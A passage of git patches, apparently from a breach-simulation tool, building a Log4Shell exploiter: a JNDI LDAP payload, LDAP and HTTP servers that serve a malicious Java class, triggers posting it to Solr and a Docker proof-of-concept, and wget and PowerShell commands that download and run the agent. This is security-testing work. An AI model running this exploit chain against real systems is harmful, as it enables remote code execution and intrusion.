exploit_template_path: Path = EXPLOIT_TEMPLATE_PATH -) -> bytes: +def build_exploit_bytecode(payload_command: str, exploit_template_path: Path) -> bytes: """ Build a payload used to exploit log4shell :param str payload_command: The command that will be executed on the remote host. :param Path exploit_template_path: The path to a file containing a pre-compiled Java class with the placeholder "###". This placeholder will be overwritten - with the contents of payload_command. Defaults to - `EXPLOIT_TEMPLATE_PATH` + with the contents of payload_command. :return: Java bytecode that will execute the payload :rtype: bytes """ @@ -36,7 +34,7 @@ def _load_template_bytecode(exploit_template_path: Path) -> bytes: if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"): raise InvalidExploitTemplateError( - f'The file "{EXPLOIT_TEMPLATE_PATH}" is not a compiled Java class' + f'The file "{exploit_template_path}" is not a compiled Java class' ) return template_bytecode diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 7c39075be..1edb2db40 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -60,4 +60,16 @@ HADOOP_LINUX_COMMAND = ( "&& %(monkey_path)s %(monkey_type)s %(parameters)s" ) +LOG4SHELL_LINUX_COMMAND = ( + "wget -O %(monkey_path)s %(http_path)s ;" + " chmod +x %(monkey_path)s ;" + " %(monkey_path)s %(monkey_type)s %(parameters)s" + # "touch /tmp/test_with_new" +) + +LOG4SHELL_WINDOWS_COMMAND = ( + 'powershell -NoLogo -Command "' + "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; " + ' %(monkey_path)s %(monkey_type)s %(parameters)s"' +) DOWNLOAD_TIMEOUT = 180 From 206abfa5e895d554e365da7536e34f395eba971f Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 4 Jan 2022 17:40:36 +0200 Subject: [PATCH 08/87] Agent: refactor a couple web_rce methods to static --- .../infection_monkey/exploit/elasticgroovy.py | 2 +- monkey/infection_monkey/exploit/struts2.py | 2 +- monkey/infection_monkey/exploit/web_rce.py | 26 ++++++++++--------- 3 files changed, 16 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 668bfb7c4..522c348b1 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -58,7 +58,7 @@ class ElasticGroovyExploiter(WebRCE): def get_open_service_ports(self, port_list, names): # We must append elastic port we get from elastic fingerprint module because It's not # marked as 'http' service - valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names) + valid_ports = WebRCE.get_open_service_ports(self.host, port_list, names) if ES_SERVICE in self.host.services: valid_ports.append([ES_PORT, False]) return valid_ports diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index b029f211f..8bf2c788b 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -39,7 +39,7 @@ class Struts2Exploiter(WebRCE): :param extensions: What subdirectories to scan. www.domain.com[/extension] :return: Array of url's to try and attack """ - url_list = super(Struts2Exploiter, self).build_potential_urls(ports) + url_list = WebRCE.build_potential_urls(self.host.ip_addr, ports) url_list = [self.get_redirected(url) for url in url_list] return url_list diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index a8ce60a40..72d948c86 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -20,7 +20,7 @@ from infection_monkey.model import ( MONKEY_ARG, POWERSHELL_HTTP_UPLOAD, RUN_MONKEY, - WGET_HTTP_UPLOAD, + WGET_HTTP_UPLOAD, VictimHost, ) from infection_monkey.network.tools import tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem @@ -154,8 +154,10 @@ class WebRCE(HostExploiter): """ raise NotImplementedError() - def get_open_service_ports(self, port_list, names): + @staticmethod + def get_open_service_ports(victim_host: VictimHost, port_list, names): # noqa: F821 """ + :param victim_host: VictimHost object that exploiter is targeting :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS :param names: [] of service names. Example: ["http"] :return: Returns all open ports from port list that are of service names @@ -163,12 +165,12 @@ class WebRCE(HostExploiter): candidate_services = {} candidate_services.update( { - service: self.host.services[service] - for service in self.host.services + service: victim_host.services[service] + for service in victim_host.services if ( - self.host.services[service] - and "name" in self.host.services[service] - and self.host.services[service]["name"] in names + victim_host.services[service] + and "name" in victim_host.services[service] + and victim_host.services[service]["name"] in names ) } ) @@ -216,10 +218,12 @@ class WebRCE(HostExploiter): logger.error("Host's exploitability check failed due to: %s" % e) return False - def build_potential_urls(self, ports, extensions=None): + @staticmethod + def build_potential_urls(ip: str, ports, extensions=None): """ Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions. + :param ip: IP address of the victim :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] Eg. ports: [[80, False], [443, True]] @@ -237,9 +241,7 @@ class WebRCE(HostExploiter): protocol = "https" else: protocol = "http" - url_list.append( - join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) - ) + url_list.append(join(("%s://%s:%s" % (protocol, ip, port[0])), extension)) if not url_list: logger.info("No attack url's were built") return url_list @@ -329,7 +331,7 @@ class WebRCE(HostExploiter): :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?] """ - ports = self.get_open_service_ports(ports, names) + ports = WebRCE.get_open_service_ports(self.host, ports, names) if not ports: logger.info("All default web ports are closed on %r, skipping", str(self.host)) return False From 0659fddac650b132d36b77145dfebac7b57eb9e8 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 4 Jan 2022 17:48:45 +0200 Subject: [PATCH 09/87] Agent: add the docker POC exploit to log4shell Implements the infrastructure needed to add different log4shell exploits and adds the --- monkey/infection_monkey/exploit/log4shell.py | 41 +++++++++---------- .../log4shell_utils/requests/__init__.py | 3 ++ .../log4shell_utils/requests/poc_docker.py | 25 +++++++++++ monkey/infection_monkey/model/__init__.py | 1 - 4 files changed, 48 insertions(+), 22 deletions(-) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index b7c1b2133..3d95e92d7 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -3,14 +3,13 @@ import http.server import logging from threading import Thread -import requests - from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.log4shell_utils import LDAPExploitServer, build_exploit_bytecode from infection_monkey.exploit.log4shell_utils.exploit_builder import ( LINUX_EXPLOIT_TEMPLATE_PATH, WINDOWS_EXPLOIT_TEMPLATE_PATH, ) +from infection_monkey.exploit.log4shell_utils.requests import exploits from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE @@ -26,8 +25,6 @@ from infection_monkey.utils.monkey_dir import get_monkey_dir_path logger = logging.getLogger(__name__) -LDAP_PAYLOAD = "${jndi:ldap://192.168.56.1:8080/dn=Exploit}" - class Log4ShellExploiter(WebRCE): _TARGET_OS_TYPE = ["linux", "windows"] @@ -36,7 +33,6 @@ class Log4ShellExploiter(WebRCE): LDAP_PORT = 8080 CLASS_HTTP_SERVER_PORT = 1337 DOWNLOAD_TIMEOUT = 15 - URLS = ["http://192.168.56.101:8080/login"] def __init__(self, host: VictimHost): super().__init__(host) @@ -57,11 +53,13 @@ class Log4ShellExploiter(WebRCE): java_class = self.build_java_class(command) class_http_server_ip = get_interface_to_target(self.host.ip_addr) - java_class_http_thread = self.get_java_class_server_thread(class_http_server_ip, java_class) + java_class_http_thread = Log4ShellExploiter.get_java_class_server_thread( + class_http_server_ip, java_class + ) java_class_http_thread.start() ldap = LDAPExploitServer( - ldap_server_port=8080, + ldap_server_port=Log4ShellExploiter.LDAP_PORT, http_server_ip=class_http_server_ip, http_server_port=self.CLASS_HTTP_SERVER_PORT, storage_dir=get_monkey_dir_path(), @@ -69,21 +67,21 @@ class Log4ShellExploiter(WebRCE): ldap_thread = ldap.get_run_thread() ldap_thread.start() - payload = {"uname": self.build_ldap_payload(), "password": "m0nk3y"} - try: - requests.post(Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False) - except requests.ReadTimeout: - logger.error("Couldn't send request to the vulnerable machine") - return False - finally: - http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - http_thread.stop() + # Try to exploit all services, + # because we don't know which services are running and on which ports + open_ports = [ + port[0] for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) + ] + for exploit in exploits: + exploit(payload=self.build_ldap_payload(), host=self.host, open_ports=open_ports) + http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + http_thread.stop() - java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - Log4ShellExploiter.HTTPHandler.stop = True + java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + Log4ShellExploiter.HTTPHandler.stop = True - ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - ldap.stop() + ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + ldap.stop() return True def build_ldap_payload(self): @@ -147,7 +145,8 @@ class Log4ShellExploiter(WebRCE): ): server.handle_request() - def get_java_class_server_thread(self, ip: str, java_class: bytes): + @staticmethod + def get_java_class_server_thread(ip: str, java_class: bytes): Log4ShellExploiter.HTTPHandler.java_class = java_class return Thread(target=Log4ShellExploiter._run_class_http_server, args=[ip]) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py new file mode 100644 index 000000000..e6a289d5c --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py @@ -0,0 +1,3 @@ +from .poc_docker import trigger_exploit as exploit_poc + +exploits = [exploit_poc] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py new file mode 100644 index 000000000..9743391a0 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py @@ -0,0 +1,25 @@ +from logging import getLogger +from typing import List + +import requests + +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]): + urls = build_urls(open_ports, host) + payload = {"uname": payload, "password": "m0nk3y"} + for url in urls: + try: + requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout: + logger.debug("Couldn't send request to the vulnerable machine") + + +def build_urls(open_ports: List[int], host: VictimHost) -> List[str]: + urls = [] + for port in open_ports: + urls.append(f"http://{host.ip_addr}:{port}/login") + return urls diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 1edb2db40..c0429fc8b 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -64,7 +64,6 @@ LOG4SHELL_LINUX_COMMAND = ( "wget -O %(monkey_path)s %(http_path)s ;" " chmod +x %(monkey_path)s ;" " %(monkey_path)s %(monkey_type)s %(parameters)s" - # "touch /tmp/test_with_new" ) LOG4SHELL_WINDOWS_COMMAND = ( From 8a120110f5b65ae348b72ec8f715480a8a2e80eb Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 5 Jan 2022 12:04:21 +0200 Subject: [PATCH 10/87] Agent: change ldap and http ports to be chosen dynamically in log4shell --- monkey/infection_monkey/exploit/log4shell.py | 28 ++++++++----------- .../log4shell_utils/requests/poc_docker.py | 6 ++-- 2 files changed, 14 insertions(+), 20 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 3d95e92d7..a8af38401 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -19,6 +19,7 @@ from infection_monkey.model import ( MONKEY_ARG, VictimHost, ) +from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.monkey_dir import get_monkey_dir_path @@ -30,13 +31,13 @@ class Log4ShellExploiter(WebRCE): _TARGET_OS_TYPE = ["linux", "windows"] EXPLOIT_TYPE = ExploitType.VULNERABILITY _EXPLOITED_SERVICE = "Log4j" - LDAP_PORT = 8080 - CLASS_HTTP_SERVER_PORT = 1337 DOWNLOAD_TIMEOUT = 15 def __init__(self, host: VictimHost): super().__init__(host) self._client = None + self.ldap_port = get_free_tcp_port() + self.class_http_server_port = get_free_tcp_port() def exploit_host(self): @@ -53,15 +54,13 @@ class Log4ShellExploiter(WebRCE): java_class = self.build_java_class(command) class_http_server_ip = get_interface_to_target(self.host.ip_addr) - java_class_http_thread = Log4ShellExploiter.get_java_class_server_thread( - class_http_server_ip, java_class - ) + java_class_http_thread = self.get_java_class_server_thread(class_http_server_ip, java_class) java_class_http_thread.start() ldap = LDAPExploitServer( - ldap_server_port=Log4ShellExploiter.LDAP_PORT, + ldap_server_port=self.ldap_port, http_server_ip=class_http_server_ip, - http_server_port=self.CLASS_HTTP_SERVER_PORT, + http_server_port=self.class_http_server_port, storage_dir=get_monkey_dir_path(), ) ldap_thread = ldap.get_run_thread() @@ -86,7 +85,7 @@ class Log4ShellExploiter(WebRCE): def build_ldap_payload(self): interface_ip = get_interface_to_target(self.host.ip_addr) - return f"${{jndi:ldap://{interface_ip}:{Log4ShellExploiter.LDAP_PORT}/dn=Exploit}}" + return f"${{jndi:ldap://{interface_ip}:{self.ldap_port}/dn=Exploit}}" # TODO remove duplication with infection_monkey.exploit.hadoop.HadoopExploiter.build_command def build_command(self, path, http_path): @@ -133,20 +132,15 @@ class Log4ShellExploiter(WebRCE): self.wfile.write(self.java_class) Log4ShellExploiter.HTTPHandler.class_downloaded = True - @staticmethod - def _run_class_http_server(ip): - - server = http.server.HTTPServer( - (ip, Log4ShellExploiter.CLASS_HTTP_SERVER_PORT), Log4ShellExploiter.HTTPHandler - ) + def _run_class_http_server(self, ip): + server = http.server.HTTPServer((ip, self.class_http_server_port), Log4ShellExploiter.HTTPHandler) while ( not Log4ShellExploiter.HTTPHandler.class_downloaded and not Log4ShellExploiter.HTTPHandler.stop ): server.handle_request() - @staticmethod - def get_java_class_server_thread(ip: str, java_class: bytes): + def get_java_class_server_thread(self, ip: str, java_class: bytes): Log4ShellExploiter.HTTPHandler.java_class = java_class - return Thread(target=Log4ShellExploiter._run_class_http_server, args=[ip]) + return Thread(target=self._run_class_http_server, args=[ip]) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py index 9743391a0..6ac59eb2b 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py @@ -13,9 +13,9 @@ def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]): payload = {"uname": payload, "password": "m0nk3y"} for url in urls: try: - requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 - except requests.ReadTimeout: - logger.debug("Couldn't send request to the vulnerable machine") + resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout as e: + logger.debug(f"Log4shell request failed {e}") def build_urls(open_ports: List[int], host: VictimHost) -> List[str]: From 563438c7f86cd2de908e79e6a4e7a3c44835d0a0 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 5 Jan 2022 12:37:08 +0100 Subject: [PATCH 11/87] Agent, Island: Add Apache Solr support for Log4Shell exploit --- .../log4shell_utils/requests/__init__.py | 3 ++- .../exploit/log4shell_utils/requests/solr.py | 25 +++++++++++++++++++ .../cc/services/config_schema/internal.py | 2 +- 3 files changed, 28 insertions(+), 2 deletions(-) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py index e6a289d5c..08b7e3253 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py @@ -1,3 +1,4 @@ from .poc_docker import trigger_exploit as exploit_poc +from .solr import trigger_exploit as exploit_solr -exploits = [exploit_poc] +exploits = [exploit_poc, exploit_solr] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py new file mode 100644 index 000000000..ca5d31875 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py @@ -0,0 +1,25 @@ +from logging import getLogger +from typing import List + +import requests + +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]): + urls = build_urls(open_ports, host) + payload = {"foo": payload} + for url in urls: + try: + resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout as e: + logger.debug(f"Log4shell request failed {e}") + + +def build_urls(open_ports: List[int], host: VictimHost) -> List[str]: + urls = [] + for port in open_ports: + urls.append(f"http://{host.ip_addr}:{port}/solr/admin/cores") + return urls diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 84baa6ca5..dff4e8a13 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -129,7 +129,7 @@ INTERNAL = { "type": "array", "uniqueItems": True, "items": {"type": "integer"}, - "default": [80, 8080, 443, 8008, 7001, 9200], + "default": [80, 8080, 443, 8008, 7001, 9200, 8983], "description": "List of ports the monkey will check if are being used " "for HTTP", }, From d2181f6577ee34d9cd39c984d6895f86641eed69 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 5 Jan 2022 14:15:56 +0200 Subject: [PATCH 12/87] Agent, UT: fix ldap builder UT's and some imports in log4shell --- monkey/infection_monkey/exploit/log4shell.py | 9 ++++++--- .../infection_monkey/exploit/log4shell_utils/__init__.py | 7 ++++++- .../exploit/log4shell_utils/test_exploit_builder.py | 3 ++- 3 files changed, 14 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index a8af38401..d3dc9d351 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -4,10 +4,11 @@ import logging from threading import Thread from common.utils.exploit_enum import ExploitType -from infection_monkey.exploit.log4shell_utils import LDAPExploitServer, build_exploit_bytecode -from infection_monkey.exploit.log4shell_utils.exploit_builder import ( +from infection_monkey.exploit.log4shell_utils import ( LINUX_EXPLOIT_TEMPLATE_PATH, WINDOWS_EXPLOIT_TEMPLATE_PATH, + LDAPExploitServer, + build_exploit_bytecode, ) from infection_monkey.exploit.log4shell_utils.requests import exploits from infection_monkey.exploit.tools.helpers import get_monkey_depth @@ -133,7 +134,9 @@ class Log4ShellExploiter(WebRCE): Log4ShellExploiter.HTTPHandler.class_downloaded = True def _run_class_http_server(self, ip): - server = http.server.HTTPServer((ip, self.class_http_server_port), Log4ShellExploiter.HTTPHandler) + server = http.server.HTTPServer( + (ip, self.class_http_server_port), Log4ShellExploiter.HTTPHandler + ) while ( not Log4ShellExploiter.HTTPHandler.class_downloaded and not Log4ShellExploiter.HTTPHandler.stop diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py index 5ffe79e49..d57218d8d 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py @@ -1,2 +1,7 @@ -from .exploit_builder import build_exploit_bytecode, InvalidExploitTemplateError +from .exploit_builder import ( + build_exploit_bytecode, + InvalidExploitTemplateError, + LINUX_EXPLOIT_TEMPLATE_PATH, + WINDOWS_EXPLOIT_TEMPLATE_PATH, +) from .ldap_server import LDAPExploitServer diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py index e2551d061..01d4f61c4 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py @@ -1,6 +1,7 @@ import pytest from infection_monkey.exploit.log4shell_utils import ( + LINUX_EXPLOIT_TEMPLATE_PATH, InvalidExploitTemplateError, build_exploit_bytecode, ) @@ -19,7 +20,7 @@ def invalid_templates_dir(data_for_tests_dir): def test_inject_command(payload): expected_bytecode = b"\x21" + payload.encode() + b"\x0c" - exploit_bytecode = build_exploit_bytecode(payload) + exploit_bytecode = build_exploit_bytecode(payload, LINUX_EXPLOIT_TEMPLATE_PATH) assert expected_bytecode in exploit_bytecode From dd3c5aac6fea046c92619b98a62bea4ded10d7b9 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 5 Jan 2022 14:21:26 +0200 Subject: [PATCH 13/87] Agent: small logging improvements in log4shel --- monkey/infection_monkey/exploit/log4shell.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index d3dc9d351..c4ef8c3dd 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -125,11 +125,11 @@ class Log4ShellExploiter(WebRCE): stop = False def do_GET(self): - logger.error("Got a get request!") + logger.info("Java class servergot a GET request!") self.send_response(200) self.send_header("Content-type", "application/octet-stream") self.end_headers() - logger.info("Sending payload class!") + logger.info("Sending the payload class!") self.wfile.write(self.java_class) Log4ShellExploiter.HTTPHandler.class_downloaded = True From c382987430279c5697c8a55f7ecf094579c284f2 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 5 Jan 2022 15:18:12 +0200 Subject: [PATCH 14/87] Project: vulture allow LDAPServerFactory.buildProtocol --- vulture_allowlist.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index bab90e90d..e8d637285 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -3,6 +3,7 @@ Everything in this file is what Vulture found as dead code but either isn't real dead or is kept deliberately. Referencing these in a file like this makes sure that Vulture doesn't mark these as dead again. """ +from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from monkey_island.cc.models import Report fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) @@ -181,6 +182,7 @@ Report.recommendations Report.glance Report.meta_info Report.meta +LDAPServerFactory.buildProtocol # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From 5ac6d12fe9309786905f9928a35b841de90ecb6b Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 5 Jan 2022 15:47:45 +0200 Subject: [PATCH 15/87] Agent: fix log4shell exploitation indication --- monkey/infection_monkey/exploit/log4shell.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index c4ef8c3dd..361190c75 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -82,7 +82,9 @@ class Log4ShellExploiter(WebRCE): ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) ldap.stop() - return True + + # If java class was downloaded it means that victim is vulnerable + return Log4ShellExploiter.HTTPHandler.class_downloaded def build_ldap_payload(self): interface_ip = get_interface_to_target(self.host.ip_addr) From 09988b0f80052f3b81aad93b7bffe8fd2e5d3da2 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 5 Jan 2022 17:43:28 +0200 Subject: [PATCH 16/87] Agent: report vulnerable port and service in log4shell Refactor log4shell.py and related service exploiters to adhere to IExploitableService interface and save which service on which port was vulnerable to log4shell --- monkey/infection_monkey/exploit/log4shell.py | 35 ++++++++++++++----- .../exploit/log4shell_utils/__init__.py | 1 + .../log4shell_utils/requests/__init__.py | 4 --- .../log4shell_utils/requests/poc_docker.py | 25 ------------- .../exploit/log4shell_utils/requests/solr.py | 25 ------------- .../service_exploiters/__init__.py | 9 +++++ .../service_exploiters/exploitable_service.py | 16 +++++++++ .../service_exploiters/poc_docker.py | 22 ++++++++++++ .../service_exploiters/solr.py | 21 +++++++++++ 9 files changed, 95 insertions(+), 63 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py delete mode 100644 monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py delete mode 100644 monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 361190c75..9ca35b35e 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -2,6 +2,7 @@ import http.client import http.server import logging from threading import Thread +from time import sleep from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.log4shell_utils import ( @@ -9,8 +10,8 @@ from infection_monkey.exploit.log4shell_utils import ( WINDOWS_EXPLOIT_TEMPLATE_PATH, LDAPExploitServer, build_exploit_bytecode, + get_log4shell_service_exploiters, ) -from infection_monkey.exploit.log4shell_utils.requests import exploits from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE @@ -33,6 +34,7 @@ class Log4ShellExploiter(WebRCE): EXPLOIT_TYPE = ExploitType.VULNERABILITY _EXPLOITED_SERVICE = "Log4j" DOWNLOAD_TIMEOUT = 15 + REQUEST_TO_VICTIM_TIME = 5 # How long the request from victim to monkey might take. In seconds def __init__(self, host: VictimHost): super().__init__(host) @@ -67,13 +69,8 @@ class Log4ShellExploiter(WebRCE): ldap_thread = ldap.get_run_thread() ldap_thread.start() - # Try to exploit all services, - # because we don't know which services are running and on which ports - open_ports = [ - port[0] for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) - ] - for exploit in exploits: - exploit(payload=self.build_ldap_payload(), host=self.host, open_ports=open_ports) + self._trigger_exploit() + http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) http_thread.stop() @@ -86,6 +83,26 @@ class Log4ShellExploiter(WebRCE): # If java class was downloaded it means that victim is vulnerable return Log4ShellExploiter.HTTPHandler.class_downloaded + def _trigger_exploit(self): + # Try to exploit all services, + # because we don't know which services are running and on which ports + open_ports = [ + int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) + ] + for exploit in get_log4shell_service_exploiters(): + for port in open_ports: + exploit.trigger_exploit(self.build_ldap_payload(), self.host, port) + + # Wait for request + sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME) + + if Log4ShellExploiter.HTTPHandler.class_downloaded: + self.exploit_info["vulnerable_service"] = { + "service_name": exploit.service_name, + "port": port, + } + return + def build_ldap_payload(self): interface_ip = get_interface_to_target(self.host.ip_addr) return f"${{jndi:ldap://{interface_ip}:{self.ldap_port}/dn=Exploit}}" @@ -127,13 +144,13 @@ class Log4ShellExploiter(WebRCE): stop = False def do_GET(self): + Log4ShellExploiter.HTTPHandler.class_downloaded = True logger.info("Java class servergot a GET request!") self.send_response(200) self.send_header("Content-type", "application/octet-stream") self.end_headers() logger.info("Sending the payload class!") self.wfile.write(self.java_class) - Log4ShellExploiter.HTTPHandler.class_downloaded = True def _run_class_http_server(self, ip): server = http.server.HTTPServer( diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py index d57218d8d..65b5ebca2 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py @@ -5,3 +5,4 @@ from .exploit_builder import ( WINDOWS_EXPLOIT_TEMPLATE_PATH, ) from .ldap_server import LDAPExploitServer +from .service_exploiters import get_log4shell_service_exploiters diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py deleted file mode 100644 index 08b7e3253..000000000 --- a/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -from .poc_docker import trigger_exploit as exploit_poc -from .solr import trigger_exploit as exploit_solr - -exploits = [exploit_poc, exploit_solr] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py deleted file mode 100644 index 